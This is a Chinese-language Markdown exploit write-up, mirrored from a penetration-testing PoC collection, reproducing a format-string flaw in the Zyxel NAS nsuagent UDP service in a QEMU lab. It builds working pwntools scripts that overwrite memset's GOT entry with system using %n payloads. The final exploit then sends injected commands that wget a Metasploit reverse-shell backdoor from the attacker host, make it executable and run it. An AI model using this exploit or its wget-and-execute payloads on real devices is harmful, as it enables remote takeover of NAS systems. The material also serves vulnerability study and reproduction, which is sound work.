mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
411 lines
22 KiB
Markdown
411 lines
22 KiB
Markdown
# Zyxel-NAS漏洞复现(Hijack GOT)
|
||||
|
|
> 0431物联卫士实验室
|
|||
|
|
> 来源:https://www.iotsec-zone.com/article/327
|
|||
|
|
|
|||
|
|
# 0、前言
|
|||
|
|
本篇文章我们会基于前面模拟的环境来复现该漏洞。所需要的前置知识:
|
|||
|
|
1. [PWN入门(2-1-6)-格式化字符串漏洞-hijack GOT](https://www.yuque.com/cyberangel/rg9gdm/xezt9x)
|
|||
|
|
2. [PWN进阶(1-8)-ret2dlresolve(1)(高级ROP)](https://www.yuque.com/cyberangel/rg9gdm/oyne1i)
|
|||
|
|
|
|||
|
|
# 1、启动模拟环境
|
|||
|
|
当你关闭qemu后若想要重新启动模拟环境就需要依次执行下面的所有命令:
|
|||
|
|
```bash
|
|||
|
|
# Ubuntu虚拟机--------------------------------------------------------------------------------
|
|||
|
|
$ sudo tunctl -t tap0
|
|||
|
|
$ sudo ifconfig tap0 192.168.5.2/24
|
|||
|
|
$ sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
|
|||
|
|
-initrd initrd.img-3.2.0-4-vexpress \
|
|||
|
|
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
|
|||
|
|
-append "root=/dev/mmcblk0p2" -smp 2,cores=2 \
|
|||
|
|
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
|
|||
|
|
# qemu----------------------------------------------------------------------------------------
|
|||
|
|
$ ifconfig eth0 down # 重启qemu之后网卡名称会重新变回eth0
|
|||
|
|
$ ip link set eth0 name egiga0
|
|||
|
|
$ ifconfig egiga0 up
|
|||
|
|
$ ifconfig egiga0 192.168.5.1/24
|
|||
|
|
$ mount -o bind /dev ./rootfs/dev && mount -t proc /proc ./rootfs/proc
|
|||
|
|
$ mount -vt sysfs sysfs ./rootfs/sys
|
|||
|
|
$ chroot ./rootfs sh
|
|||
|
|
$ nsuagent
|
|||
|
|
# 新建终端--------------------------------------------------------------------------------------
|
|||
|
|
$ scp ./gdbserver-armel-static-8.0.1 [email protected]:/root/rootfs/
|
|||
|
|
$ ssh [email protected]
|
|||
|
|
$ chroot ./rootfs sh
|
|||
|
|
$ chmod +x ./gdbserver-armel-static-8.0.1
|
|||
|
|
```
|
|||
|
|

|
|||
|
|

|
|||
|
|
|
|||
|
|
# 2、开始pwn
|
|||
|
|
## ①、收集信息
|
|||
|
|
由于Crossover在运行Windows软件时开销过大,所以本篇文章中我们大多数时候使用pwndbg取代IDA的动态调试功能、使用python的pwntools库实现UDP流量包的重放。
|
|||
|
|
> 注:wireshark软件本身不支持重放。
|
|||
|
|
|
|||
|
|
使用wireshark打开上一节中抓取的流量包,查看发送含有我们账号密码的认证数据包:
|
|||
|
|

|
|||
|
|
将上面的所有的16进制复制下来,使用pwntools进行重放UDP,所以我们有如下代码:
|
|||
|
|
```python
|
|||
|
|
from pwn import *
|
|||
|
|
from threading import Thread
|
|||
|
|
|
|||
|
|
context.log_level="debug"
|
|||
|
|
def accept():
|
|||
|
|
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
|
|||
|
|
l.wait_for_connection()
|
|||
|
|
print(l.recv(100)) # 接收100字节应该够了
|
|||
|
|
l.close()
|
|||
|
|
|
|||
|
|
thread = Thread(target=accept)
|
|||
|
|
thread.start()
|
|||
|
|
|
|||
|
|
p=remote('192.168.5.1', 50127, typ='udp')
|
|||
|
|
data=bytes.fromhex(
|
|||
|
|
"00420241001c42af5b3a004f525400123456555345524e414d453a6379626572616e67656c0950415353574f52443a6379626572616e67656c0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data)
|
|||
|
|
p.close()
|
|||
|
|
```
|
|||
|
|

|
|||
|
|
嗯,看起来挺成功。现在就按照常见的pwn流程来吧,首先检查可执行文件的保护:
|
|||
|
|

|
|||
|
|
- No RELRO:GOT、PLT完全没有任何保护【详情可参照本文章开头的链接】。
|
|||
|
|
- No canary found:没有canary保护。
|
|||
|
|
- NX enabled:栈不可执行。
|
|||
|
|
- No PIE:虽然程序没有开启PIE保护,但这并不意味着加载的动态链接库和其栈地址一定不变,因为我们并不知道实机上ASLR的保护等级(如下图所示),这里需要按照可变地址来考虑...
|
|||
|
|
-
|
|||
|
|

|
|||
|
|
> 上图来自:[https://www.yuque.com/hideandseek1231/fcr95d/qubx1x](https://www.yuque.com/hideandseek1231/fcr95d/qubx1x)
|
|||
|
|
|
|||
|
|
## ②、寻找调用链
|
|||
|
|
对存在漏洞的sub_14C60函数交叉引用发现有许多函数调用了它:
|
|||
|
|

|
|||
|
|
我们并不清楚调用链,但是可以通过gdb获取:
|
|||
|
|

|
|||
|
|
gdb-client连接上后会自动断在recvfrom函数:
|
|||
|
|

|
|||
|
|
对地址0x14C60下断点,run后再次执行我们的exp1.py:
|
|||
|
|

|
|||
|
|
不知道是不是由于gdbserver的原因,很不幸的是我们无法通过bt或frame知道函数的调用过程,提示错误corrupt stack;但仍旧可以通过寄存器R14(LR)知道调用该函数的父函数:
|
|||
|
|

|
|||
|
|

|
|||
|
|

|
|||
|
|
因此调用链为:main_function(sub_123EC) -> sub_1AEE4 -> sub_14C60(vuln_fucntion)。大致的看一下发现sub_1AEE4有多达5处调用了sub_14C60:
|
|||
|
|
```C
|
|||
|
|
void __fastcall __noreturn sub_1AEE4(int a1)
|
|||
|
|
{
|
|||
|
|
// ...
|
|||
|
|
v31 = &unk_34D48;
|
|||
|
|
sub_159F8(a1, 0);
|
|||
|
|
sub_14C60(a1, "[%s][%d] Start with m_bIsWirelessEnabled = %d\n", "Run", 1320, *(unsigned __int8 *)(a1 + 32));
|
|||
|
|
sub_15474(a1);
|
|||
|
|
std::operator+<char>((int)v32, "|dstart|NDU Agent started: ");
|
|||
|
|
while ( 1 )
|
|||
|
|
{
|
|||
|
|
while ( 1 )
|
|||
|
|
{
|
|||
|
|
while ( 1 )
|
|||
|
|
{
|
|||
|
|
while ( 1 )
|
|||
|
|
{
|
|||
|
|
while ( 1 )
|
|||
|
|
{
|
|||
|
|
addr_len = 16;
|
|||
|
|
recvfrom(*(_DWORD *)(a1 + 300), buf, 0x10D8u, 0, &addr, &addr_len);
|
|||
|
|
v2 = sub_1BC48(buf, v40);
|
|||
|
|
v3 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
|
|||
|
|
sub_14C60(a1, "[%s][%d] GOT YOU!!!!!!, pcode = %d, ip address: %s\n", "Run", 1342, v2, v3);// sub_1AEE4 -> sub_14C60
|
|||
|
|
// ...
|
|||
|
|
}
|
|||
|
|
v4 = v2 == 2;
|
|||
|
|
if ( v2 != 2 )
|
|||
|
|
v4 = v2 == 4;
|
|||
|
|
if ( !v4 )
|
|||
|
|
break;
|
|||
|
|
if ( dword_34E9C )
|
|||
|
|
{
|
|||
|
|
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "response packet. escape");
|
|||
|
|
std::endl<char,std::char_traits<char>>(v5);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
// ...
|
|||
|
|
}
|
|||
|
|
// ...
|
|||
|
|
}
|
|||
|
|
// ...
|
|||
|
|
}
|
|||
|
|
// ...
|
|||
|
|
sub_14C60(
|
|||
|
|
a1,
|
|||
|
|
"AuthMac: %X:%X:%X:%X:%X:%X\n",
|
|||
|
|
(unsigned __int8)v41,
|
|||
|
|
BYTE1(v41),
|
|||
|
|
BYTE2(v41),
|
|||
|
|
HIBYTE(v41),
|
|||
|
|
(unsigned __int8)v42,
|
|||
|
|
HIBYTE(v42));
|
|||
|
|
sub_14C60(a1, "LocalMac1: %X:%X:%X:%X:%X:%X\n", v16, v17, v18, v19, v20, v21);
|
|||
|
|
if ( sub_157CC(a1, &v41) )
|
|||
|
|
break;
|
|||
|
|
LABEL_51:
|
|||
|
|
std::string::~string((std::string *)&v33);
|
|||
|
|
sub_1F224(v46);
|
|||
|
|
}
|
|||
|
|
sub_1F4C4(&v34, v46);
|
|||
|
|
sub_1F4DC(&v35, v46);
|
|||
|
|
sub_14C60(a1, "username: %s, password: %s\n", v34, v35);
|
|||
|
|
// ...
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
根据上面的代码框,我们知道程序在启动完毕之后会阻塞在recvfrom函数直到用户向程序发送了数据,在接收到输入之后会根据相应的判断语句进行处理。根据程序的行为知道处理完成之后它并不会退出,而是阻塞在recvfrom继续等待接收下一次用户的输入。sub_14C60在解析用户可控的username与password前的debug数据如下,这两者均存在于堆上:
|
|||
|
|

|
|||
|
|
## ③、思路整理
|
|||
|
|
将上面的exp稍微的进行修改以方便更换我们的payload:
|
|||
|
|
```python
|
|||
|
|
from pwn import *
|
|||
|
|
from threading import Thread
|
|||
|
|
|
|||
|
|
context.log_level="debug"
|
|||
|
|
def accept():
|
|||
|
|
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
|
|||
|
|
l.wait_for_connection()
|
|||
|
|
print(l.recv(100)) # 接收100字节应该够了
|
|||
|
|
l.close()
|
|||
|
|
|
|||
|
|
thread = Thread(target=accept)
|
|||
|
|
thread.start()
|
|||
|
|
|
|||
|
|
p=remote('192.168.5.1', 50127, typ='udp')
|
|||
|
|
payload_username = b"cyberangel"
|
|||
|
|
payload_password = b"bbbb"+b".%p"*50 # payload
|
|||
|
|
encode_username = payload_username.hex()
|
|||
|
|
encode_password = payload_password.hex()
|
|||
|
|
data=bytes.fromhex(
|
|||
|
|
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode_username}0950415353574f52443a{encode_password}0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data)
|
|||
|
|
p.close()
|
|||
|
|
```
|
|||
|
|
回过头来仔细研究sub_14C60,发现它会将执行日志输出到文件/tmp/nsu_process中,并且该日志永远不会删除:
|
|||
|
|

|
|||
|
|
执行一次exp2.py后可以有如下日志,
|
|||
|
|

|
|||
|
|
但是程序对输入的payload(password)有32字节长度限制,导致泄露的地址并不完整...
|
|||
|
|

|
|||
|
|
仔细想想,就算泄露出来的地址是完整的又怎样?因为我们并不能在程序回显时拿到任何有效信息:
|
|||
|
|

|
|||
|
|
这就意味着所有leak地址的思路都已经被堵死,并且程序还开启了NX保护,无法在stack上构造自己的ROP链;那就只能利用程序里面现有的已知数据构造利用链了。从程序保护方面来讲,nsuagent最大的弱点在没有开启RELRO保护,所以获取我们可以从这里下手:
|
|||
|
|

|
|||
|
|
利用方式有两种:
|
|||
|
|
1. 是利用ret2dlresolve去修改处于可写状态的.dynamic节的DT_STRTAB的d_ptr指针,这就要求我们需要在栈上伪造一个ELF String Table(.dynstr section),并篡改相应的结构指针,这样在动态链接的时候就会将该符号解析为system函数。
|
|||
|
|
2. 因为.got.plt(俗称got表)可写,那我们就直接篡改got表为某个函数的地址并正常调用被篡改的函数即可。
|
|||
|
|
|
|||
|
|
emmm,相比较而言还是第二种方法比较简单,那就用它吧。具体实施之前我们还是来看一个简单的例子:
|
|||
|
|
```C
|
|||
|
|
#include<stdio.h>
|
|||
|
|
void backdoor(char* str){
|
|||
|
|
system(str);
|
|||
|
|
}
|
|||
|
|
int main(){
|
|||
|
|
puts("/bin/sh");
|
|||
|
|
return 0;
|
|||
|
|
}
|
|||
|
|
/*
|
|||
|
|
[*] '/home/cyberangel/Desktop/test1'
|
|||
|
|
Arch: amd64-64-little
|
|||
|
|
RELRO: No RELRO
|
|||
|
|
Stack: No canary found
|
|||
|
|
NX: NX enabled
|
|||
|
|
PIE: No PIE (0x400000)
|
|||
|
|
*/
|
|||
|
|
```
|
|||
|
|
启动gdb断到main函数,将puts的got表手动改为system的plt:set *0x600958=0x400410
|
|||
|
|

|
|||
|
|

|
|||
|
|
continue后会执行system("/bin/sh"):
|
|||
|
|

|
|||
|
|
这样做似乎无法维持一个稳定的shell,执行一条命令就退出了,不知道是不是我的问题;当然了,就算存在这个问题但对于nsuagent并不影响,因为只要程序不崩溃就会一直可以接收用户的输入,从而实现多次命令执行的效果。还要说明一点的是注意arm与x86在.got.plt的区别,nsuagen的.got就是x86的.got.plt:
|
|||
|
|

|
|||
|
|

|
|||
|
|
不知道是不是因为libc版本过低的问题:
|
|||
|
|

|
|||
|
|
|
|||
|
|
## ④、构造利用链
|
|||
|
|
好了,到现在我们整理一下思路,因为got表是可写的,所以我们可以劫持某个函数的got表为system以达到命令执行的效果(Linux延迟绑定技术)。那我们究竟篡改哪一个函数呢?注意到漏洞点有一个memset:
|
|||
|
|

|
|||
|
|
根据栈帧平衡原理再结合sub_1AEE4的汇编代码我们可以知道每次调用sub_14C60时memset初始化s变量的栈空间完全相同(空间的起始地址与结束地址相同),可以下个断点来看看(b *0x14C7C):
|
|||
|
|

|
|||
|
|

|
|||
|
|

|
|||
|
|

|
|||
|
|
|
|||
|
|
虽然将memset篡改为system会导致无法清空栈空间,但是好在每一次调用函数时影响的都是同一片内存区域,并不影响程序的正常运行;而且还有一个好处就是我们可以多次的主动调用memset函数。
|
|||
|
|
> system调用失败后并不会让程序崩溃
|
|||
|
|
|
|||
|
|
首先测量格式化字符串的偏移,在gdb调试时断点下在sub_14C60调用fprintf之前(b *0x14CE0):
|
|||
|
|

|
|||
|
|
再次调试并发送前面的exp2.py:
|
|||
|
|

|
|||
|
|
如上图所示,R1存放着被截断之后的格式化字符串,但是我们可以仍旧在栈上找到残留的完整字符串:
|
|||
|
|

|
|||
|
|
我们截取该段字符串从USERNAME开始使用,其起始地址为0x7e8d49b2:
|
|||
|
|

|
|||
|
|
接下来强制将R1寄存器改为该地址:set $r1=0x7e8d49b2,运行后可以得到如下结果:
|
|||
|
|
|
|||
|
|

|
|||
|
|
整理可以得到偏移为39:
|
|||
|
|

|
|||
|
|

|
|||
|
|
然后开始使用格式化字符串$n更改memset的got表,首先是:payload_password = b"bbbb"+b"%73904c%39$n"
|
|||
|
|

|
|||
|
|
发现程序会崩溃:
|
|||
|
|

|
|||
|
|
这也很正常,payload中%73904c%39$n本身的含义就是“打印73904个字节,然后将打印的字节数目作为值写入距离格式化字符串偏移为39的栈上指针指向的区域。从上图来看向非法地址bbbb写入的不是system的plt而是_cxa_pure_virtual:
|
|||
|
|
|
|||
|
|

|
|||
|
|
> 0x120D4 - 0x120b0 == 0x24(36)
|
|||
|
|
> 73904 - 36 == 73868
|
|||
|
|
|
|||
|
|
稍微修改一下payload:payload_password = p32(memset_got)+b"%73868c%39$n"【memset_got = 0x34BE4】,要将地址减去36的原因在于进入漏洞函数时会进行如下拼接:
|
|||
|
|

|
|||
|
|
|
|||
|
|
也就是在执行fprintf时其参数格式化字符串为:username: cyberangel, password: addr%73868c%39$n,从该字符串开头到格式化字符串的位置一共36字节,fprintf会直接将这36字节的字符直接输出,再结合上面的内容故需要减36:
|
|||
|
|

|
|||
|
|
执行后发现我们输入的payload会发生"\x00"截断:
|
|||
|
|

|
|||
|
|
我们后面输入的格式化字符串没有了!gdb后得知程序在解析密码时发生了截断,如下图所示,其中v46保存了我们所有发送数据的buffer:
|
|||
|
|

|
|||
|
|

|
|||
|
|
经过sub_1F4DC的std::string::string后:
|
|||
|
|
```C
|
|||
|
|
void __fastcall sub_1F4DC(std::string *a1, int a2)
|
|||
|
|
{
|
|||
|
|
std::string::string(a1, (const std::string *)(a2 + 24));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
```
|
|||
|
|

|
|||
|
|

|
|||
|
|
真好,被截的什么都不剩...稍微调整一下p32(memset_got)的位置,有:payload_password = b'bbbb'+b"%73868c%43$n"+p32(memset_got)
|
|||
|
|

|
|||
|
|
嘿嘿,这下应该没问题了吧?
|
|||
|
|

|
|||
|
|
???,哪儿来的0x0a('\n')?我找了半天才发现是格式化是自带的...
|
|||
|
|

|
|||
|
|
绝,那就不能使用经过vsnprintf拼接后的字符串了。但是我们注意到,recvfrom接收用户输入之后会将数据保留到栈上,它是未经修改,原汁原味的数据,如下图所示(b *0x14CE0):
|
|||
|
|

|
|||
|
|
重复上面寻找偏移的步骤,有如下exp3.py:
|
|||
|
|
```python
|
|||
|
|
from pwn import *
|
|||
|
|
from threading import Thread
|
|||
|
|
context.log_level="debug"
|
|||
|
|
context.arch="arm"
|
|||
|
|
context.endian="little"
|
|||
|
|
def accept():
|
|||
|
|
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
|
|||
|
|
l.wait_for_connection()
|
|||
|
|
print(l.recv(100)) # 接收100字节应该够了
|
|||
|
|
l.close()
|
|||
|
|
|
|||
|
|
thread = Thread(target=accept)
|
|||
|
|
thread.start()
|
|||
|
|
|
|||
|
|
memset_got=0x34BE4
|
|||
|
|
p=remote('192.168.5.1', 50127, typ='udp')
|
|||
|
|
payload_username = b"cyberangel"
|
|||
|
|
payload_password = b'bbbb'+b"%73868c%347$n"+p32(memset_got) # b'bbbb'+b"%73868c%43$n"+p32(memset_got)
|
|||
|
|
encode_username = payload_username.hex()
|
|||
|
|
encode_password = payload_password.hex()
|
|||
|
|
data=bytes.fromhex(
|
|||
|
|
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode_username}0950415353574f52443a{encode_password}0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data)
|
|||
|
|
p.close()
|
|||
|
|
```
|
|||
|
|

|
|||
|
|

|
|||
|
|
可以看到成功命令执行。现在memset已经被成功改为了system了,最后完善一下就可以了。因为该NAS有wget,所以我们先修复一下软链接:
|
|||
|
|
```bash
|
|||
|
|
/ # rm ./usr/sbin/wget
|
|||
|
|
/ # ln -s /bin/busybox /usr/sbin/wget
|
|||
|
|
/ # wget
|
|||
|
|
BusyBox v1.19.4 (2021-04-01 09:56:40 CST) multi-call binary.
|
|||
|
|
|
|||
|
|
Usage: wget [-c|--continue] [-s|--spider] [-q|--quiet] [-O|--output-document FILE]
|
|||
|
|
[--header 'header: value'] [-Y|--proxy on/off] [-P DIR]
|
|||
|
|
[--no-check-certificate] [-U|--user-agent AGENT] [-T SEC] URL...
|
|||
|
|
|
|||
|
|
/ #
|
|||
|
|
```
|
|||
|
|
使用kali生成msf反向shell,注意这里的LHOST为虚拟机的IP而不是qemu的IP:
|
|||
|
|

|
|||
|
|
使用python在msf目录下启动http服务:
|
|||
|
|

|
|||
|
|
完整exp如下:
|
|||
|
|
```python
|
|||
|
|
from pwn import *
|
|||
|
|
from threading import Thread
|
|||
|
|
context.log_level="debug"
|
|||
|
|
context.arch="arm"
|
|||
|
|
context.endian="little"
|
|||
|
|
def accept():
|
|||
|
|
l=listen(50127, typ='udp') # 监听本地(Ubuntu)的50127端口
|
|||
|
|
l.wait_for_connection()
|
|||
|
|
print(l.recv(100)) # 接收100字节应该够了
|
|||
|
|
l.close()
|
|||
|
|
|
|||
|
|
thread = Thread(target=accept)
|
|||
|
|
thread.start()
|
|||
|
|
|
|||
|
|
memset_got=0x34BE4
|
|||
|
|
p=remote('192.168.5.1', 50127, typ='udp')
|
|||
|
|
payload1_username = b"cyberangel"
|
|||
|
|
payload1_password = b'bbbb'+b"%73868c%347$n"+p32(memset_got)
|
|||
|
|
encode1_username = payload1_username.hex()
|
|||
|
|
encode1_password = payload1_password.hex()
|
|||
|
|
data1=bytes.fromhex(
|
|||
|
|
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode1_username}0950415353574f52443a{encode1_password}0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data1)
|
|||
|
|
|
|||
|
|
payload2_username = b";wget http://192.168.5.2:8080/msf-arm -O /backdoor;" # 下载backdoor
|
|||
|
|
payload2_password = b"cyberangel"
|
|||
|
|
encode2_username = payload2_username.hex()
|
|||
|
|
encode2_password = payload2_password.hex()
|
|||
|
|
data2=bytes.fromhex(
|
|||
|
|
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode2_username}0950415353574f52443a{encode2_password}0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data2)
|
|||
|
|
|
|||
|
|
payload3_username = b";chmod +x /backdoor;" # 授予可执行权限
|
|||
|
|
payload3_password = b"cyberangel"
|
|||
|
|
encode3_username = payload3_username.hex()
|
|||
|
|
encode3_password = payload3_password.hex()
|
|||
|
|
data3=bytes.fromhex(
|
|||
|
|
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode3_username}0950415353574f52443a{encode3_password}0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data3)
|
|||
|
|
|
|||
|
|
payload4_username = b";/backdoor;" # 执行backdoor
|
|||
|
|
payload4_password = b"cyberangel"
|
|||
|
|
encode4_username = payload4_username.hex()
|
|||
|
|
encode4_password = payload4_password.hex()
|
|||
|
|
data4=bytes.fromhex(
|
|||
|
|
f"00420241001c42af5b3a004f525400123456555345524e414d453a{encode4_username}0950415353574f52443a{encode4_password}0953484152455f5245513a30094654505f5245513a30")
|
|||
|
|
p.send(data4)
|
|||
|
|
|
|||
|
|
p.close()
|
|||
|
|
```
|
|||
|
|
先在虚拟机上监听:
|
|||
|
|

|
|||
|
|
正向shell的生成步骤如下(默认向外映射端口为4444),exp稍微变动一下msf文件名称就行:
|
|||
|
|

|
|||
|
|
```python
|
|||
|
|
from pwn import *
|
|||
|
|
from threading import Thread
|
|||
|
|
context.log_level="debug"
|
|||
|
|
context.arch="arm"
|
|||
|
|
context.endian="little"
|
|||
|
|
# (和exp4.py一样)...
|
|||
|
|
payload2_username = b";wget http://192.168.5.2:8080/back -O /back;"
|
|||
|
|
# 略...
|
|||
|
|
|
|||
|
|
p.close()
|
|||
|
|
```
|
|||
|
|

|
|||
|
|
> 注意:关于backdoor文件的命名注意简短,否则可能会出现wget文件之后落地文件的命名不正确,比如msf-arm-positive落地后文件名称变为了"b,",payload为:payload2_username = b";wget [http://192.168.5.2:8080/msf-arm-positive](http://192.168.5.2:8080/msf-arm-positive) -O /back;"
|
|||
|
|
|
|||
|
|

|